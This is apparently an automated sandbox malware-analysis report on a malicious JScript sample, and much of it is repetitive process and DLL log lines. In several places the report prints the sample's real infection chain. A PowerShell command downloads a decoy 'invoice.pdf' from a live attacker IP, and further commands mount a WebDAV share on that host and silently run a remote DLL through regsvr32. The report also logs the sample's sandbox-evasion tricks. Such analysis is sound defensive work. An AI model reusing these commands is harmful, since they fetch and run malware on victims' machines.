Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8000.js.csv");ITextStream.WriteLine(" entry:7261 f:aioxzej");ITextStream.WriteLine(" exec:2 f:aioxzej");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4706			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4730			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6460	Thread sleep count: 4706 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6460	Thread sleep count: 4730 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3868	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2724	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6428	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2111121789.000001E0BF49F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3347731661.0000015C8C02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3348542431.0000015C91458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2111121789.000001E0BF49F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!s
Source: net.exe, 00000007.00000002.2111121789.000001E0BF440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW EJ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
